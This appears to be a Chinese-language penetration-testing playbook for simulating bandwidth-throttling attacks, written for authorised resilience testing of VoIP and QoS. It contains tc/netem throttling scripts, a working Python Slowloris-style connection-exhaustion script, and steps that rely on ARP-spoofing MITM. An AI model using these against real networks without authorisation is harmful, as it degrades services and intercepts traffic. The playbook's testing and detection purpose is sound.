performing-bandwidth-throttling-attack-simulation

执行带宽限速攻击模拟

适用场景

• 在授权的安全评估中测试应用程序对网络降级条件的弹性
• 验证 QoS（服务质量，Quality of Service）策略是否能检测并缓解网络中未授权的流量整形
• 模拟 Slowloris 类型攻击，通过降低带宽而非造成完全中断来影响服务
• 评估带宽类攻击对 VoIP、视频会议和实时应用的影响
• 测试网络监控工具检测异常带宽利用模式的能力

禁止在以下情况使用：未经授权或无维护窗口期的生产网络、制造拒绝服务（DoS）条件，或在无安全控制措施的情况下针对关键基础设施。

前置条件

• 带宽操纵测试的书面授权
• 安装了 tc（流量控制）、netem 和 iptables 的 Linux 系统
• 测试端和目标端均已安装 iperf3，用于带宽测量
• 已建立中间人（MITM）位置（ARP 欺骗）用于流量拦截场景
• 已部署网络监控工具用于检测模拟
• 测试前的基线带宽测量值

工作流程

步骤 1：建立基线带宽测量值

# 在目标端启动 iperf3 服务器
iperf3 -s -p 5201

# 从测试端测量基线带宽
iperf3 -c 10.10.20.10 -t 30 -P 4 -p 5201
# 记录：带宽、抖动、丢包率

# 测量基线延迟
ping -c 100 10.10.20.10 | tail -1
# 记录：最小值/平均值/最大值/标准差

# 使用 UDP 测试测量基线抖动
iperf3 -c 10.10.20.10 -u -b 100M -t 10 -p 5201
# 记录：抖动和丢包率百分比

# 记录基线值
echo "Baseline: BW=$(iperf3 -c 10.10.20.10 -t 10 -f m | tail -1 | awk '{print $7}') Mbps" > baseline.txt
echo "Latency: $(ping -c 50 10.10.20.10 | tail -1)" >> baseline.txt

步骤 2：使用 tc/netem 模拟带宽限速

# 在攻击者的转发接口上添加流量控制以限制带宽
# 这模拟了通过被攻陷路由器流经的流量被限速的场景

# 限制为 1 Mbps（严重限速）
sudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 50ms

# 或使用层次化令牌桶进行更精细的控制
sudo tc qdisc add dev eth0 root handle 1: htb default 10
sudo tc class add dev eth0 parent 1: classid 1:10 htb rate 1mbit ceil 2mbit

# 添加延迟和丢包以模拟链路降级
sudo tc qdisc add dev eth0 parent 1:10 handle 10: netem delay 200ms 50ms loss 5%

# 针对特定流量（仅限速到特定主机的流量）
sudo tc qdisc add dev eth0 root handle 1: htb default 99
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 1000mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc class add dev eth0 parent 1:1 classid 1:99 htb rate 1000mbit

# 过滤器：仅限速到 10.10.20.10 的流量
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
  match ip dst 10.10.20.10/32 flowid 1:10

# 验证 qdisc 配置
tc -s qdisc show dev eth0
tc -s class show dev eth0

步骤 3：模拟逐步降级

#!/bin/bash
# 模拟随时间推移的带宽逐步降级
# 这模仿攻击者为躲避检测而缓慢限速的行为

IFACE="eth0"
TARGET="10.10.20.10"

# 阶段 1：基线（无限速）— 5 分钟
echo "[*] 阶段 1：基线（无限速）"
sleep 300

# 阶段 2：轻度限速（降低 50%）
echo "[*] 阶段 2：降低至 50 Mbps"
sudo tc qdisc add dev $IFACE root tbf rate 50mbit burst 64kbit latency 50ms
sleep 300

# 阶段 3：中度限速（降低 80%）
echo "[*] 阶段 3：降低至 10 Mbps"
sudo tc qdisc change dev $IFACE root tbf rate 10mbit burst 32kbit latency 50ms
sleep 300

# 阶段 4：严重限速 + 延迟 + 丢包
echo "[*] 阶段 4：降低至 1 Mbps + 200ms 延迟 + 5% 丢包"
sudo tc qdisc del dev $IFACE root 2>/dev/null
sudo tc qdisc add dev $IFACE root handle 1: htb default 10
sudo tc class add dev $IFACE parent 1: classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc qdisc add dev $IFACE parent 1:10 handle 10: netem delay 200ms 50ms loss 5%
sleep 300

# 阶段 5：恢复
echo "[*] 阶段 5：移除所有限速规则"
sudo tc qdisc del dev $IFACE root 2>/dev/null
echo "[*] 模拟完成"

步骤 4：模拟 Slowloris 类型的连接耗尽

#!/usr/bin/env python3
"""授权带宽测试的 Slowloris 类型连接模拟。"""

import socket
import time
import threading

TARGET = "10.10.20.10"
PORT = 80
NUM_CONNECTIONS = 200

sockets = []

def create_slow_connection():
    """创建一个发送数据非常缓慢的连接。"""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((TARGET, PORT))
        s.send(b"GET / HTTP/1.1\r\n")
        s.send(f"Host: {TARGET}\r\n".encode())
        sockets.append(s)
        return s
    except Exception:
        return None

def keep_alive():
    """发送不完整的请求头以维持连接。"""
    while True:
        for s in list(sockets):
            try:
                s.send(b"X-Padding: " + b"A" * 10 + b"\r\n")
            except Exception:
                sockets.remove(s)
        time.sleep(15)

print(f"[*] 正在向 {TARGET}:{PORT} 建立 {NUM_CONNECTIONS} 个慢速连接")
for i in range(NUM_CONNECTIONS):
    s = create_slow_connection()
    if s:
        if (i + 1) % 50 == 0:
            print(f"[*] 已建立 {i + 1} 个连接")
    time.sleep(0.1)

print(f"[*] {len(sockets)} 个连接已建立，正在发送保活请求头...")
print("[*] 按 Ctrl+C 停止")

try:
    keep_alive()
except KeyboardInterrupt:
    print(f"\n[*] 正在关闭 {len(sockets)} 个连接")
    for s in sockets:
        try:
            s.close()
        except Exception:
            pass
    print("[*] 清理完成")

步骤 5：测量影响并检测异常

# 在限速过程中重新测量带宽
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201
# 与基线值比较

# 测量延迟降级
ping -c 50 10.10.20.10

# 检查网络监控的检测结果
# 验证监控工具是否检测到了带宽变化

# 检查基于 SNMP 的监控（Cacti、LibreNMS、Zabbix）
# 接口利用率应显示异常模式

# 检查 Zeek 日志中的连接异常
cat /opt/zeek/logs/current/conn.log | \
  zeek-cut ts id.orig_h id.resp_h duration orig_bytes resp_bytes | \
  awk '$4 > 0 && ($5/$4 < 1000 || $6/$4 < 1000)' | head -20
# 低字节/秒比率表明存在限速

# 检查网络管理工具中的 QoS 告警
# NetFlow 分析：查找流量模式变化
# nfdump -r /var/cache/nfdump/nfcapd.* -s srcip/bytes -n 20

步骤 6：清理与记录

# 移除所有流量控制规则
sudo tc qdisc del dev eth0 root 2>/dev/null

# 验证清理结果
tc qdisc show dev eth0
# 应显示：qdisc noqueue 或仅默认 qdisc

# 如果使用了 ARP 欺骗，停止相关进程
sudo killall arpspoof bettercap 2>/dev/null
sudo sysctl -w net.ipv4.ip_forward=0

# 最终带宽测量以确认恢复
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201

核心概念

术语	定义
流量整形（Traffic Shaping）	使用队列规则（qdisc）刻意操控网络流量速率以控制带宽分配
tc（流量控制，Traffic Control）	Linux 内核子系统，通过队列规则（qdiscs）配置数据包调度、整形、管控和丢弃
netem（网络模拟器，Network Emulator）	Linux tc qdisc，可模拟延迟、抖动、丢包、数据损坏和乱序等网络条件
令牌桶过滤器（TBF，Token Bucket Filter）	tc qdisc，仅在有令牌时允许数据包通过，从而强制执行最大带宽限制
Slowloris	应用层攻击，通过建立大量连接并极缓慢发送数据来耗尽服务器连接池
QoS（服务质量，Quality of Service）	用于优先处理特定流量类型（VoIP、视频）并保证最低带宽的网络机制

工具与系统

• tc/netem：Linux 内核流量控制和网络模拟框架，用于模拟带宽限制和网络降级
• iperf3：网络带宽测量工具，用于建立基线和测量限速影响
• Bettercap：网络攻击框架，用于建立 MITM 位置以拦截和限速流量
• Scapy：Python 数据包操纵库，用于构造自定义流量模式和连接耗尽模拟
• NetFlow/sFlow：网络流量监控协议，用于检测异常带宽利用模式

典型场景

场景：测试 VoIP 系统对带宽降级的弹性

背景：某公司依赖基于 SIP 的 VoIP 进行业务通信。安全团队需要评估在各种网络攻击条件下 VoIP 质量的降级情况，以及通话在何时变得不可用。测试已在专用 VoIP 测试 VLAN 上获得授权。

方案：

1. 使用 iperf3 UDP 测试建立基线通话质量，测量 VoIP VLAN 上的抖动（<30ms）和丢包率（<1%）
2. 使用 ARP 欺骗在 VoIP 端点之间建立 MITM 位置
3. 使用 netem 逐步引入延迟（50ms、100ms、200ms、500ms），并在每个级别测量 MOS（平均意见得分）
4. 引入丢包（1%、3%、5%、10%）并测量通话质量降级情况
5. 将带宽从 1 Mbps 限制到 100 Kbps，确定 G.711 编解码器（需要 87.2 Kbps）的最低可用带宽
6. 验证网络 QoS 策略在共享链路受限时能否优先处理 VoIP 流量并恢复质量
7. 记录降级阈值并为 VoIP VLAN 推荐最低 QoS 保障

常见陷阱：

• 测试后忘记移除 tc 规则，导致测试网络上的带宽限制持续存在
• 测试速率过低导致通话完全中断，而非可测量的降级
• 未考虑 VoIP 编解码器差异——G.711 比 G.729 需要更多带宽
• 在共享 VLAN 上运行测试影响非测试流量

输出格式

## 带宽限速模拟报告

**测试 ID**：BW-THROTTLE-2024-001
**目标网络**：VLAN 60（VoIP 测试）
**测试时间**：2024-03-15 14:00-16:00 UTC

### 基线测量值
| 指标 | 数值 |
|--------|-------|
| 带宽（TCP） | 947 Mbps |
| 带宽（UDP） | 912 Mbps |
| 延迟（平均） | 0.8 ms |
| 抖动 | 0.2 ms |
| 丢包率 | 0.00% |

### 降级影响矩阵

| 条件 | 带宽 | 延迟 | 抖动 | 丢包 | VoIP MOS |
|-----------|-----------|---------|--------|------|----------|
| 基线 | 947 Mbps | 0.8 ms | 0.2 ms | 0% | 4.4 |
| 50ms 延迟 | 947 Mbps | 51 ms | 5 ms | 0% | 4.0 |
| 200ms 延迟 | 947 Mbps | 201 ms | 25 ms | 0% | 3.2 |
| 5% 丢包 | 947 Mbps | 0.8 ms | 0.2 ms | 5% | 2.8 |
| 1 Mbps 上限 | 1 Mbps | 45 ms | 12 ms | 2% | 3.0 |
| 100 Kbps 上限 | 100 Kbps | 380 ms | 95 ms | 15% | 1.2 |

### QoS 验证结果
- QoS 在 10 Mbps 阈值处检测到限速：是
- 限速期间 VoIP 流量优先处理：是（维持 3.8 MOS）
- 监控系统生成告警：是（14:15 UTC 带宽异常）

### 建议
1. 确保每路 VoIP 通话最低保障带宽 200 Kbps
2. 配置 QoS 以优先处理 DSCP EF（46）标记的流量
3. 将监控阈值设置为带宽利用率 80% 以实现早期预警